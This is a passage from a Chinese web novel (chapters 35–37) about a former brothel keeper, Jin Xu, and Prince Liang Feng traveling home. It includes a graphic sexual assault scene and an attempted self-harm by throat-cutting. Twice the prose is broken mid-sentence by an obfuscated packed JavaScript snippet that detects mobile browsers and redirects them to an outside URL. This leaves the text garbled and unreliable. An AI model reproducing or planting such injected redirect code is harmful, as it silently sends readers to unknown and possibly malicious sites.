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金絮冷笑,“你不觉得他这个皇帝就做得太过逾距了吗?” 梁风默然。金絮道:“许义说不定有道圣旨要给你,是让你回京城的,你去见许义吧,我就不去了。” “我知道,你自然是不去的。” 但是金絮转念一想,皇帝肯定知道了梁风这几个月身边一直有个女人,她若现在离开会不会让皇帝起疑......应当不会,但很难说...... “我要与你说的却不是这个。”梁风扯了扯她的腕,握住她双手,令金絮正面对着他。 “你可知我为何陪你一起进行这趟旅程?” “嗯?为何?”金絮思绪还停留在皇帝那儿,瞧着梁风此刻认真诚挚的眼神,一时没转过弯来。 “我只是想告诉你,我对你的心意不曾变过。” “啊,什么?” 他皱眉,“你有没有听我说话?” “哦哦,”金絮恍惚点头,“我听了。” “那你没什么想跟我说的?” 金絮挠挠头,“我就是在想,皇帝肯定已经知道我的存在了,如果他疑心你这几月在做什么的话,说不定会查到我头上,到时候......” 他已听不下去,忍无可忍地起身,焦躁踱步。 “是!你言之有理,皇兄若查起你来,我给你户籍做的手脚一定会被他知道。” “到时你身份瞒不住,皇兄会愈发疑心于我。”梁风置气地瞪着金絮,“所以你此番一同与我去并阳郡,然后我再送你回太南,我便可与皇兄说,你只是我路上偶遇一友人,别再想着与我分行。” 金絮点点头,“如此可行。” 她说完便住嘴,安静地坐着,梁风仔细盯了她半晌,见她没有要再吐出半个字的意思,哼了一声,沉着脸迈步出屋,金絮却突然道:“你刚才有句话说得不对。” 他不理,金絮继续说:“这趟旅程不是你陪我,而是我陪你。” 他神色顿了顿,扶住门框的手指微微捏紧,再向她看来时方才眼中置的气不觉消散。 “是,是你陪我。” 梁风黑白分明的眼珠子看着她,“再有下次,我定不给你机会,让你转开说些旁的什么。” 35. 来自京城的话 许义的车队果然候在林子外。 金絮和十三扮作仆从牵马跟在梁风身后。 许义和并阳郡守行了大礼,恭迎梁风。许义面对梁风黑白分明的脸印子仍不动声色,仿若未见。 梁风登上宽阔的马车,许义、胡太守跟随进入,三人在车里说了一会儿话。丫鬟们端着果盘糕点流水样送入车内,金絮老老实实站着枯等,注意到许义出来时若有若无往她这处看了一眼,却不知看的是她还是十三。 看来皇帝确实注意到她了。 梁风这几年虽说喜欢上温柔馆喝花酒,但金絮也知道,他身边始终没有个固定的女人,流连青楼不过是遮掩,皇帝早就想安个女人监视他。 作为出现在皇帝眼前的方法,说不定如此可行。老鸨的身份用作障眼法,倒不失为一种良策。 车队稍作整顿,便浩浩荡荡出发并阳郡。金絮正要上马,梁风亲自掀帘看着她道:“你上来。” 金絮将木果交给十三,便上了车。 马车豪阔,帷幔四垂,车内空地甚至足供三人舞蹈。 “王爷。”金絮行了一礼,梁风坐在最里面,拍拍身侧,“坐这。” 金絮与他隔一个身位坐下,他跟着挪靠过来,并肩坐着。 许义、太守也进入各自车内,车队平稳静音地出发。 “快的话明日入夜前能到,慢的话要到后日。你若骑马跟着,会太累。”梁风带一点讨好地说。 金絮侧身躲开,顺势跪下环手低头道:“多谢王爷体恤。” 车内顿时冷寂下去。 他没喊起身,金絮就垂眸不动。过了几息,梁风双臂抬起她,扶她坐到一旁。金絮正想言谢,嘴刚张开,余光看见他又戴上了那个白色面具,嘴边的话堪堪咽下,心中一时无言。 梁风端来放在坐席边的糕点,“方才吃饱了吗?” 金絮犹豫了一瞬,还是吃了两块,他不喜这些干巴巴的东西,只喝茶。 车里不似野外牵马散游的潇洒与轻松,车厢做得再大仍然让人感觉逼仄。金絮没了赏景的兴致,一言不发地坐着,偶尔瞄他一眼,都会发现他不经心地四顾,金絮知道他心里肯定有点急,忙着想办法与她说话。 她得承认,自从白沙县出来后,她的心情就不太好了。 “什么时候回太南?”金絮开口。 梁风立即道:“什么时候都可以,你若还有想去的地方,再晚点回去也可以。” 金絮没什么表情,“没有想去的地方了,这就回去吧,路上还要很久。” 梁风动了动手指,似乎想来抓她又没抓,“你这一路玩儿得可尽兴?” “挺尽兴的。” “之后一直待在太南吗?不再去京城了?” “没什么事的话就不去。” “那我......”他说一半不说了,还是捉住了她的手腕。 “你到了京城就忙你的,朝堂上想必正为立太子的事吵得不可开交。” 金絮看着窗外的景色顾自道:“皇帝这次给你休的假还真久,都半年了。”她顿了一顿道:“似乎还有小半年就是你母亲忌日了,记得帮我为你母亲上柱香。” 春日微风吹入车中,闷热窒息,烈日仿佛盛夏,她光是闻着都感到头晕。刚才吃下的点心像是突然咽在了喉间,不上不下。 “那我便去太南找你,朝中的事无论大小,基本都与我无关。” 金絮回头看梁风,他紧紧握着她的手,面具洞里一片云淡风轻。 她怔住了,那块点心像是自己又滑了下去,恍然间发现春天也是个开花的季节。 他问:“那回到太南之后打算做什么?做生意吗?” 金絮迟钝地回过神来,“嗯——以后可能会做个小生意糊口吧,不再办青楼了。”她语气变得轻松,“攒点银子就出去玩,做个逍遥王。” 他眼睛里的笑霎时溢出来,不自觉摩挲她的手腕,“逍遥王?倒是惬意得很。” 窗外的风景正悠哉,阳光暖暖的,蹿于细草中的小动物欢快地一蹦一跳,金絮也笑了笑,马车里的气氛没那么逼仄了。 可她很快又想起了什么,顿时有些后悔刚才说的话,慢慢收了笑,目光沉静地望向窗外。 第二日入夜前车队抵达并阳郡。 并阳太守早已备妥一间上好的府邸和一应丫鬟人等,金絮被安排在了西厢房,配了一个丫鬟。她无甚所谓,这几年被监视惯了,身边的人实际上在给谁传递消息她都没兴趣过问。 住下隔日,太守夫人忽然登门,专找她来。金絮提起耐心应付,对夫人所有问题一一解答。 夫人问起她如何与王爷相识,金絮便实说自己原本是个老鸨,卖了馆后与从前的恩客梁公子心有同好,于是结伴同游,之所以被困白沙县是因为附近的支郁村葬了个不相识却闻名天下的老人,故前去拜一拜,却正好遇上了大雪。 太守夫人气质端庄,笑容恰到好处,“你与王爷露水情缘,这几月来提你随身侍奉,想来王爷十分重视于你。王爷若携你上京,定是想予你名分,不负这一路相伴。” “露水情缘”四字宛若一柄利剑刺向金絮,在她脸上割出一道笑容,“夫人说笑了,我一风尘女子,怎敢逾距?” 当天夜里,被这四个字恶心得吃不下饭。 但她思来想去,又觉并无说错。梁风是她在温柔馆几年里唯一的恩客,当得上露水情缘四字。 之后几天,梁风忙了起来。 梁风唤了她陪侍,金絮就在书桌一旁研磨倒茶,百无聊赖,边听他不住念叨手边有哪些事。 皇帝下的旨,上月就传到了并阳。圣旨笼统地说赈灾一事做得非常好,朕心甚慰,又说听闻安分王也在并阳,便授命梁风一同监管赈灾一事。 于是他忙着审查赈灾款项是否落实,是否有官私吞,附近受灾的全部村县总共死了多少人,统一写进册簿,详细记录此次冬灾情况,最后上报朝廷。 她不时翻看已记录好的册簿,原来这一个冬天受灾的郡县有那么多。 内容记录详实,就账面的情况看,似乎没有缺漏,她看得也不够全,只能辨认辨认字迹。梁风字迹几年不变,总喜欢在最后一笔末尾处做个顿折,说不上好看,也说不上难看。据他说,皇帝的字迹就比他的好看多了,可惜她没见过。 金絮闲闲地打哈欠,趴案纸上睡着了。 这天梁风出门,她终于得闲,收拾好心情,独自一人出外游逛。 长泽上游多山,连绵不绝的山脉阻隔了陆路商贸往来,并阳郡流通最盛的就是水路航船,河港处最是繁华。 并阳郡的美食美景无甚稀奇,唯一扬名的是画,画尤以山景、山花与夕阳为盛。 金絮对于并阳画闻名已久,在京城见过几幅,因太过贵重,不曾收入温柔馆中。她早想见识见识这大部分画中所绘之景的原貌,是否得负盛名。 然而四月却不是个好时候,山花开得最盛是在下月底,她便只能提早看这盛景。若觉不负盛名,那倒也不完全是景的错。 并阳郡最佳赏景地是两座大山,阴山和阳山,一南一北,春夏看阳山,秋冬赏阴山。 午饭后她便出城。太阳往下落,她往山上爬,山间随处可见一同攀爬的行人和席地作画的大师。她且看且走,也不知具体的最佳夕景在哪里,全凭自己的眼光,找寻落眼之地。 路过一处山腰亭阁,听小贩卖茶水瓜果点心的哟喝,金絮正觉渴了,欲近前讨杯茶喝,却听一道粗豪爽阔的大笑自前方传出。 这声音莫名耳熟,她定睛瞧去,只见前方人群簇拥中,一名满身横膘的半百男子大笑着一掌一掌地拍打另一名满脸谄笑的男子,双方似乎谈着什么。 金絮见之大惊,这横膘男人是贾镇! 她竟忘了。并阳贾氏,牵动整个并阳郡贸易的行商就是贾家,而如今贾氏当家之主,就是贾镇。 身子比脑子反应快,她当即弯下腰去,躲于人群掩映中,走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839770|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十步开外才低声喊道:“十三。” 十三立时不知从哪跳出。 “十三,你帮我挡一下,我们赶紧走。” 拐过一个山弯,她越过十三偷偷往回看了一眼,已见不到那群人。 金絮松了口气。十三问:“絮姑娘,那是何人?” “贾镇,一个商人。”她随口答,转念一想,又觉自己并无必要这样躲着。 去年贾镇的漏税案是梁风查的,她不过是配合梁风做了个抓贾镇的陷阱,但贾镇若就此记恨上她,她也没什么好说的。那案子的结果大致不会过让贾镇补齐税款、限制贾镇在京城的生意流通,且断了和三皇子的联系。至少影响不到贾镇在并阳的地位。 出发回太南郡前,她还是少出门吧。 没看成夕景,金絮也不气馁,赶在宵禁前回到府中,晚饭早已备好。 梁风端坐在饭桌前,显然已等了她许久。饭菜稍热。 “过来吃饭。”他皱眉看她。 金絮从善如流坐下,“我回来晚了。” “去了何处?” “爬爬山,想看夕阳,没看成。” “今天遇见了什么人?”他状似随意一问。 她奇了,“十三跟我一块回来的啊,他什么时候跟你说了?”说完她又恍然,“哦对了,你安插在我身边的人不止一个。” 他脸上表情动了动,换了个话题,“要不要我让人去查一下贾镇?” “不用了,反正都要走了。”她也看似随意地问:“你在我身边放了几个人啊?” 他似乎不太想谈这个问题,勉强道:“不多,就两个。” 金絮表情轻松,“哦,是不多,就两个。” 她夹一筷子鱼肉,味道不错,但估计不合他胃口。 “并阳山景确实闻名,这次没看成,要不要改日我带你去看?” 金絮不理他,专心吃饭。 “我府中有两幅并阳山画,不过收在京城,要不要我寄去给你?” 金絮继续不理。 “或者我找人专门给你画一幅?” 金絮还是不理。 他忍无可忍,“好了,我收回一人,只留十三在你身边好不好?你跟我说话。” 金絮于是开口道:“不去看了,画也不要,贾镇你爱查不查。” 他稍稍满意,“真不用我陪你去么?并阳山景确实不容错过。” “不去了,没到花期,看了也没什么滋味。” 他笑了一笑,“那我们便后日就启程回太南。我先送你回去,然后我再去京城。” “许大人跟着我们一起走么?” 他摇摇头,“不同路,许义明日出发上京,面圣后再下郡考察。” 那就好。她没兴趣搞三人行。 后日,金絮收妥行囊,喂饱两马,简装上路。 梁风告诉她:“按我们的脚程,大概两月后可到。” “这么久。不过还好,赶得上你母后的忌日。”金絮道:“路上我尽量不拖后腿。” 金絮正扣紧荆风的鞍,挂好香料包,感到肩后有什么东西拂过,接着就见梁风的一只手自她右后方伸出搭在了荆风背上,手臂垂下的大袖挡住了斜照的阳光。金絮动作微顿,察觉他的呼吸就在身后,下意识便想从左侧绕出去,他另一只手迅速滑过她腰侧拍在荆风肚子上,金絮被围在了他和荆风中间。 她不敢转身,缩着手臂,贴紧荆风,怕碰到他。 “母亲的忌日不陪我吗?” 他的声音就响在耳后,发丝轻拂,金絮没有说话,低着头,仔细观察马鞍的纹理。 “真的不陪我吗?你去年就没有陪我。” 她咬了咬牙,把想说的话咽了下去。 梁风松开未触碰的怀抱,道:“你不说话我当你答应了啊,九月我在京城等你。” 金絮没有回应他这话,蹬身跨上马,想到很快就能回到太南郡,开心道:“出发,回太南!” 36. 烟火 六月中旬抵达太南郡,一路平安。 金絮算了算日子,去年十月中出发的,总共耗时近八个月、经过了三季、走过了大河雪山、见过了百花盛开,还找到了笑长生的遗稿。这一趟旅程收获颇丰。 梁风送她到家门口,金絮笑嘻嘻接过零星的行李,端庄地福一礼,“感谢王爷这大半年相伴,就此一别,山高水长,王爷保重。” “你不请我进去坐坐吗?” 金絮一愣,抬头,见他略有不满地看着她。 “这、寒舍简陋......” “陋”字还没说完,梁风一步迈入院内,朗朗站于院中四处打量。 这破院子一打眼就无遗余。 “陋什么?我又不是第一次来了。” 金絮正想开口,他道:“我渴了,也饿了。” 金絮悚然一惊,这破屋子怎招待得起他? 他说完便不留余地地往屋内走,金絮紧随其后,“王爷,您若饿了的话,不如我带您去酒楼......” “不去。” 金絮一阵哑然,这时柔竹自屋内步出,看见梁风疑惑了一下,转而看见金絮,忙惊喜上前,“阿絮姐,你回来啦!......啊,阿絮姐,你晒黑了!” 金絮听见前面的梁风似乎轻笑了一声。 她拉柔竹到一边,“柔竹,你去附近的点心铺子里买点上好的茶叶和模样精致的点心来,别去远了,要快啊。” “哦哦。”柔竹懵懵然地乖乖去了,走前悄悄看了梁风一眼。 梁风在堂屋里顾自坐下,摘了面具,轻放在案几上,目光直直地看着她。 金絮道:“王爷,想吃些什么?” 她准备等他报出菜名后,就让十三去附近酒楼买做好的送来。 “鱼。”他道:“要你自己做的,我不要从旁的地方送来的。” 他仿佛知道她在想些什么。 她踟蹰一阵,只好道:“那王爷,您可能需要等久一点了。” “无妨。”他轻描淡写。 金絮立刻赶去厨房烧水,察看有些什么食材。徐礼住在衙门,一月不一定回一次,家里只有柔竹独住,一人份的伙食相当简陋。 她唤来十三,给了十三几颗碎银,“去帮我买些你主子爱吃的食材来,要贵一点、好一点的。” 不多久,柔竹带着茶食小跑回来,额间出了汗,一进厨房就忙着给点心摆盘,边问道:“阿絮姐,那人是很重要的客人吗?是谁啊?” 金絮泡茶,想了想道:“是安分王殿下,以前温柔馆的客人。” 柔竹手中茶水一洒,瞪大了眼睛,下巴快要掉下来,“王爷?!” “不记得了?你从前在温柔馆还见过的。” 柔竹眨巴眼睛,收起了下巴和惊骇,“哦哦,这么一说想起来了。” 柔竹走到金絮身边,拉她的衣袖,低声道:“王爷来我们这老旧地方做什么啊?不应该请他去大酒楼的雅间么?招待不周可怎么办?他会不会一生气就杀头啊?” “想什么呢?”金絮失笑,“你不用怕,他待人很随和的,不拘礼,稍有逾距也不打紧,他也不喜欢别人总尊他为王爷。” “这样啊,”柔竹恍恍惚惚,“可我还是觉得,一个王爷待在我们这样的屋子里好奇怪啊。” “没事,他应该很快就走了。” 泡好茶,金絮端盘走出厨房,一只脚刚踏出去就见他直直地站在门后,神色平淡。 “王、王爷......”她哑口无言,半天不知反应,难以猜测他在这站了多久,刚才和柔竹说的话又听去了多少。 他居然会听墙角。 梁风低头看了她一眼,他眼眸中细微的暗沉被眼周略显白皙的肌肤对比更为明显,金絮却看出他眼神里淡淡的埋怨与无可奈何。 梁风轻轻一哼,略过她走入厨房内。十三拎着装满食材的竹篮随后跟入。 金絮隐约知道他这一哼的意思,追入厨内,他已在与灶台相对的一壁桌凳坐下。 金絮奉上茶,再给柔竹递个眼神,柔竹忙低着头小心将模样精致、装摆讲究的糕点奉到桌上,撤回时偷偷看了梁风一眼,顿时紧抿住唇,溜圆的大眼睛努力遏制笑意。 金絮赶紧将柔竹拉出屋外,柔竹立刻忍不住笑,悄悄附到金絮耳边低声道:“阿絮姐,王爷的脸怎么是这样子哒?!”柔竹两手的食指和拇指相对成一个框搭在眉毛与鼻子之间。 金絮也忍不住笑,“还不是晒得,我也黑了。” 柔竹捂嘴偷笑,金絮道:“好啦,别笑得太明显。你看看那些食材能怎么做,做三、四个菜就好,只是一定要有鱼肉,做法怎么样都行,不用刻意去腥。” 柔竹又瞪大了眼睛,“啊?不去腥?那这鱼肉怎下得去口?” “他下得去口就行。” 金絮交代完返回厨房,柔竹十分拘谨地卷起袖子,忍不住偷眼打量始终坐一旁看着她们的梁风,再次附耳与金絮悄悄道:“王爷怎么一直看着我们?” 金絮看了梁风一眼,见他端正坐着,一派祥和。 “不要紧,让他看,他只是无聊而已。” “可是他一直看着我做不出来。” 金絮笑了笑,“那你就背对着他,当他不存在。”她摸摸柔竹的脑袋,“柔竹做的一定好吃,哪怕是吃惯山珍海味的人也会喜欢的。” 柔竹得到鼓励,于是开灶。可一开锅又遇到了问题: “阿絮姐,王爷吃米饭喜欢硬一点的还是软一点的?” “嗯——我也不知道。就做软吧,我喜欢软一点的。”金絮随意道:“我帮你打下手。” “那阿絮姐你就把食材切一下吧。” “好。” 金絮翻看食材,揭开竹盖,还未看清,就被一条铁黑色、猛烈摆动的东西吓了一跳,狭带腥气的水滴飞洒在她鼻子上,金絮被吓得往后避开一步,惊魂未定。 待反应过来是什么,她再翻开盖子,那鱼仍旧在灵活弹摆。 她不会处理鱼,不知所措地看着,无从下手。这时手腕处传来一股握力和拉扯,她被扯得退后一步。金絮顺势扭头,梁风不知何时站到了她旁边,握住她的手腕往他身侧一带,他同时看向竹篮里面,黑白分明的神色顿时微微一松。 惊吓缓缓镇住,金絮听见柔竹道: “啊,这鱼买来时怎不让屠夫事先处理好。”柔竹捋袖子,“那就我来吧。” 柔竹将鱼捞出放于案板,一刀拍晕,利落刮鳞,三两下剖腹,刮去内脏,一气呵成。 金絮赞叹地收回目光,注意到身旁梁风仍站着,便推拒他,“你去堂屋等着吧,还要一会儿才做好。” “不要紧,我就在旁边看着。”梁风不理她推拒,回到凳子上坐下,补了一句:“你们当我不在就好。” 金絮便只能由着他,专心切菜。 她厨艺不行、刀工不行,勉强将食材粗糙地切好,继续给柔竹点灶台的火。柔竹已入状态,大锅中油烟四起,混着柴火烟气,厨房内的温度逐渐升高。 烟雾渐浓,金絮见梁风仍在那坐着,便道:“油烟大,你先出去外面等吧。” “无妨。”梁风语气淡淡,坐着不动。 金絮不再管他。 很快,烟雾散去,四菜备齐。 端菜上桌,金絮备好碗筷,给他盛饭。她注意到梁风刚才吃了两块点心,他一向不喜这类甜腻腻干巴巴的东西,说明是真饿了,她便给碗里多盛了一点饭。 梁风脸上带笑,围桌坐下,提筷,抬头看了站立于侧的她们一眼,“不一起?”他向金絮伸出手,“我记得你也还未用饭。” 金絮也不客气,牵着柔竹一起坐下,柔竹显得很局促,等梁风率先提筷,金絮才夹了一块鱼肉。 这鱼肉味道还行。但她不喜欢腥味过浓,之后再没碰过那鱼。 梁风也动筷,挨个尝了一遍,道:“不错。” 柔竹表情明显放松了,金絮摸摸柔竹的脑袋。 三人不出声地吃饭,柔竹还是不太放得开,金絮便不时给柔竹夹菜,希望能令饭桌的气氛宽松些。 金絮突然想起来一事,问柔竹:“丽姬有信寄来吗?” 柔竹摇头,“没有。” “京城那边呢?” 柔竹还是摇头,“也没有。” 金絮了然,不再多问,想来大厢水夭她们在京城还挺忙的。 忽闻他轻轻一笑,金絮侧目,梁风端碗正看着她。 “京城还有你放不下的人。”他笑着,“那你一定会上京。” 金絮默然,不置可否。 一顿饭吃得安静。饭后金絮侍奉梁风漱口,恭敬地送他出门。在门口看见荆风时,金絮才猛地想起忘记给荆风喂草了,不免饱含歉意地看着他。 梁风淡淡扫了她一眼,没说什么。 门外,十三等人已备好马车,他掀袍上车。一如从前多次在温柔馆门口送他,金絮对着他的背影缓慢道:“王爷慢走,一路保重。” 一行人拥着华盖离去,金絮并不多看,转身关上了门。 厨房里,柔竹颇为惋惜地看着那条鱼,“难得吃条这么好的鱼,可惜是腥的。” 金絮责道:“我不是给了你银子吗,怎么不吃点好的?” 柔竹笑嘻嘻,“我想给家里省点银子嘛,好点的差点的不都是鱼。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839771|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用省。”金絮无奈一笑。 “哦对了,阿絮姐,凝荷她们那边虽然没有寄信来,但我这几月都有写信寄去的,可是她们也没有回信。” “可能是她们忙吧,我晚点也写封信给大厢寄去看看。” 金絮伸个懒腰,她要好好休息几天才行。 院子里静悄悄,金絮扫视几圈,唤一声十三,没回应。她方觉一身轻松,无人监看的感觉真好。 金絮烧水认认真真里里外外地洗了个澡,早早便睡了。 第二天醒来她才开始收拾行李,整理她和笑长生的的纸稿。午后她去驿站看有无京城来的信,没有。接着绕路去寺庙上香。上完香天色已黑,她便准备回家。 街上行人尚多,她沿大道走,路过一处折拐的小巷,壁影覆盖下巷里漆黑一片。 她本能往暗处随意掠了一眼,确定有无路人,却突见斜刺里伸出一只抓着手帕的粗臂,迅速捂住她口鼻,金絮受惊,反应不及猛地一吸,喊声还未出喉,便已意识不清,眼前骤黑晕昏过去。 醒来时神志茫然,眼中光影重重,她似乎是躺在被榻上,身体没有被击打过的疼痛感,耳边有男人粗重的喘息。她努力定睛看去,一个硕大的人影撑在她上方,粗糙的手掌正上下其手地摸她。 金絮大惊,意识骤然清醒,看清此刻压在她身上的人是贾镇! 贾镇! 金絮使劲抓住贾镇的粗臂,阻止他继续脱她的衣服,右腿膝盖用力上顶,却没顶到他的要害,而是击中他赘突的肚子。贾镇左手捏住她右腿往床榻上用膝盖一压,她右腿再动不得,趁此抽出左腿往他肚子上用尽全力一踢,同时大喊:“贾镇!” 贾镇被她踢得后仰,金絮忙抽离四肢,不顾拢衣服就往床下跑。此刻才发现所处之地是个荒废的屋子,破旧落满灰的陈设且角落里堆积了落叶枯枝,这地方很可能是城郊尚未被修缮的战后破屋群。 入夜后,这一带是没有人的。 身后一只大手捏住她肩把她用力往床心一甩,金絮感觉自己几乎是腾空而起,大脑有瞬间的停滞,这瞬间里划过身体的时间仿佛变慢了。 砰! 右脑侧面砸到床头柜子的一角,金絮视线骤然一黑,眩晕感没顶而至,她上半身俯趴地滑出床外,眼前只看见星星亮亮的闪光点和模糊不清的重影。她咬住舌尖,刺激大脑保持清醒。喉间似有硬物堵住,说不出声,一两滴鲜血滴落地面在杂乱的视线中炸开花,渐变三滴四滴......最后成股而下。 贾镇掀纸片一样地把她掀翻回去仰躺于床上,双手再次开始扒衣服。血腥味似乎刺激到他,金絮看不清贾镇的神情,却听见布帛被撕裂的尖啸。初时猛烈的眩晕过后,麻木的疼痛随之而来,她用最后一点力扬手甩了贾镇一巴掌,打得他动作一顿。 “骚.货!当初陷害我没见你这么能躲!” 贾镇甩回她一巴掌,有稠黏的血水从金絮嘴里飞溅。 “给我装什么贞烈!安分王能上你,老子就不行了?!”又甩了她一巴掌。金絮感觉眼珠子快被扇出来。 “让你陷害老子!骚女人就是浪!真把自己当烈女了?”贾镇一手摸她的胸口,一手扯她的亵裤。 金絮几乎被那两巴掌抽离出魂魄,喉咙里发出低低的呜咽,肋骨被按得很痛。 贾镇跪压住她右腿,重量近乎能将她腿压断。她意识几乎全集中在身上的侵犯,可此时心里想的却是,九月还没到...... 她撑住朦胧的意识,挣扎着从散乱的发髻中摸索到发绳,发绳一端连着一片拇指盖大小的薄刀片,这是她早在自京城出来时就备在身上防身用的。 手指无力,指尖颤抖着勉强捏紧刀片,她猛地吸一口气,将刀片在颈间用力一划,但力度太小,她没感到伤口因裂得深而喷出来的血液。 她颤抖着手想重新再划一次,这时突然爆发一声巨响,似是木板爆裂的声音,接着她便感到身上一轻,贾镇惨叫声响起的同时一只手拦下了她割颈的刀片。 “金姑娘,你别怕,我来救你。” 她手指仍紧捏着,辨不明这声音的主人,金絮意识已近全无,只知侧过头,两手挡住自己的身上和身下,呜咽声不可遏止。 宽大的衣袍覆盖她全身,金絮被抱了起来。 她感受不到这怀抱的温度,打开嗓子想说话,一张嘴便有液体自嘴角流下,手指无意识抓紧衣服,气音断续道:“我不是娼.妓......” 没说完眼前一黑,意识晕昏之前,听不清这人轻声细语地安抚她: “你不是,你一直都不是。” “你是丞相千金。” “你是这个世界上最好的女子。” 37. 回家 金絮醒来时脑中一片茫然,睁着眼睛看了许久也没能把所见之物映入脑海。 待茫然感过去后,咽了咽喉咙,干渴异常,四肢十分沉重,她偏头动了一下,右脑传来细碎尖锐的疼痛,她皱眉忍住了。 金絮转眼环顾四周,天亮了,早晨清新的空气弥漫房间,几道细脆的鸟鸣,空阔明亮的天花板,色调精致。 不知救她的是何人,看屋子大小难以猜测主人身份。 她恢复些力气,动了动四肢,首先摸摸身上的衣服,穿戴整齐。她费力坐起来,,右腿酸疼,床头的水壶是热的,触到壶耳时手臂微微颤抖,才发觉自己仍心有余悸地害怕。 张嘴时脸颊泛起撕裂般的疼痛,喝下几口水,金絮再端不住水杯,即便还想喝也只能放下。贾镇摸她时的感觉还残留在身上,像是几只无形的手一直在侵犯她。心跳渐渐变快,金絮拢紧棉被,抱住膝盖缩成一团。 房门打开,一个男人走进来。金絮看过去,成团的棉被松了一松。 “林公子?” 救她的人竟是林童忆。 林童忆一进来也带来了药香,“金姑娘,你醒了。” 金絮微愣,一时间不知反应。 林童忆放下药托,在她床边坐下,“感觉怎么样?” “好多了。”金絮嗓子暗哑夹杂气音,她笑道:“多谢林公子救命之恩。” “无需言谢,先喝药。”林童忆端药,金絮双手捧过,温度正适宜,又不动声色地闻了闻,便慢慢喝了,再将碗放回去。 金絮感到挺开心的,“不知林公子怎会在太南?” “生意上事。我也是刚到太南没多久。昨日正好在塔楼上看到你被绑,我找了一路,幸好最后赶上了。”他微微一笑,“真是万幸。” “大恩不言谢,林公子以后若有事相托,我定不推辞。” “不要紧,我总不能看着你受他们欺侮。” 她抑住被下手臂的颤抖,冷静问道:“这是在林公子府中?” “不是,我在太南没有宅子,这里是驿馆。”林童忆推了推被角,“你刚醒来,身子还虚着,再睡会。” 金絮惦记着家里的柔竹,可她此刻实在没有力气回家,正想托林童忆转告柔竹,屋外突然响起焦急的怒喊: “阿絮!” 是梁风的声音。 他还没回京吗? 房门被人用力踹开,门砸出巨响,梁风一眼看见她,神情骤凝,目眦欲裂。他继而看见站立一旁的林童忆,还未下令,他身后的十三已箭步冲出,瞬间擒获林童忆。 梁风跑到她身旁,仔细察看她的脸色,再将她护于身后,警惕地瞪视林童忆。金絮忙拉住梁风,“林公子是救我的,抓我的人是贾镇。” “贾镇?!”梁风眸中震怒,金絮道:“我没事的,你先放开林公子。” 梁风警惕未消,看着林童忆问道:“你是何人?” 林童忆被十三挟持着,似乎并不恼,仍能笑道:“回王爷,草民名叫林童忆,是个京城布商。真要说的话,草民也算是温柔馆的常客了。” “只是从前的一位客人,以前温柔馆生意时常承林公子照拂。”金絮拉梁风衣袖,“林公子是来太南做生意的,昨日正巧遇见我,便出手相救。” 十三松开林童忆,梁风放缓神色,反握住金絮安抚,再上前一步对林童忆微微弯腰,道:“阁下出手相救阿絮,本王定有重谢。” “举手之劳,何必多言谢。”林童忆笑淡,再向她看来的眸色微黯,“金姑娘既已平安,草民这便告辞了。” 说完转身离去,梁风也未阻拦,挥手命十三相送。 梁风坐到床边,察看她身上伤势,眉目间是捺不住的焦急与担忧,“到底是怎么回事?谁将你伤成这样?” 房中只余下他们二人,金絮彻底松懈下来,四肢剧烈地颤抖,鼻腔火辣。 “没什么的,只是贾镇把我抓了......” “贾镇抓你做什么?” 身体里好像有另一个人替她把话说了出来: “他、他想□□我......我......” 梁风登时眼中怒火烧得双眼通红,“贾镇他竟敢!”青筋暴起,指关节捏得咯啦响。 “是我抓的他!凭何迁怒于你!” 金絮开口却没发出声音,她使劲空咽一下,才道:“是我大意了,没想到他竟从并阳郡跟到了太南。” “你别生气。”金絮脸肿得不敢动太大表情,一动就痛,只能轻声出言安抚,“我没事的,林公子来得很及时。” 梁风胸口急剧起伏,平息下情绪,心里想着什么此刻也没对她说出口,手抚上她额间绷带,动作轻柔怜惜。金絮抬头看他,这一望就望进他的眼睛里去,侧脑的伤口也不疼了。 梁风手指往下,触到她脖颈的绷带,难以置信道:“贾镇想杀你?!” 金絮顿时难以再看他,躲开眼神,将他的手拿开,“不是贾镇。” 他的手指一顿,烫到似的弹开,有些艰难地开口:“这是你自己割的?” 她不说话,觉得难堪,抬手捂住脖子隔绝他的注视。 金絮明显感到他呼吸停了一瞬,周围气息紧得窒息,他看在她身上的目光比她当时割颈的刀片还利。 “你......”他的声音带着颤抖,“你若是这一刀割下去,有想过我怎样吗?” 金絮低下头,越发不敢看他。梁风猛地抓住她手臂,“金絮......”他的语气很乞怜,很害怕,像是即将失去什么,“金絮,你看着我。” 金絮低头不看他。 “你回答我!你若是这一刀割下去,你想过我怎样吗?!” 她突然感觉身体里面颤栗地疼起来,抱住自己的手臂,仍旧固执地一言不发。 梁风捏着她手臂的力度逐渐加重,令她皱起了眉,可她还是什么都没说。 梁风猛地站起,两步跨出去,在房中焦躁踱步,泄发心中的不安,背对着她,刻意不让金絮看见他的神情。金絮却能从他急促又骤停的呼吸中感受到他此刻的心况。 他拳头紧握,金絮看着觉得几乎能掐出血。 “我没错......” 她的话令他背脊一僵,梁风整个人忽然颤抖起来。金絮挪开眼,手指紧紧绞着被单,咬着牙又将这三个字重复了一遍。 梁风狠狠吸入一口气,吸气的力度之大让她感觉气息几乎能撞碎他的鼻腔。 良久,他周身绷紧的气息一松,转身直视她,通红的眼睛竟像是受了比她还重的伤。 金絮抬起头,目光直视住他。视线对上的一刻,梁风还是松了拳,缴了械。 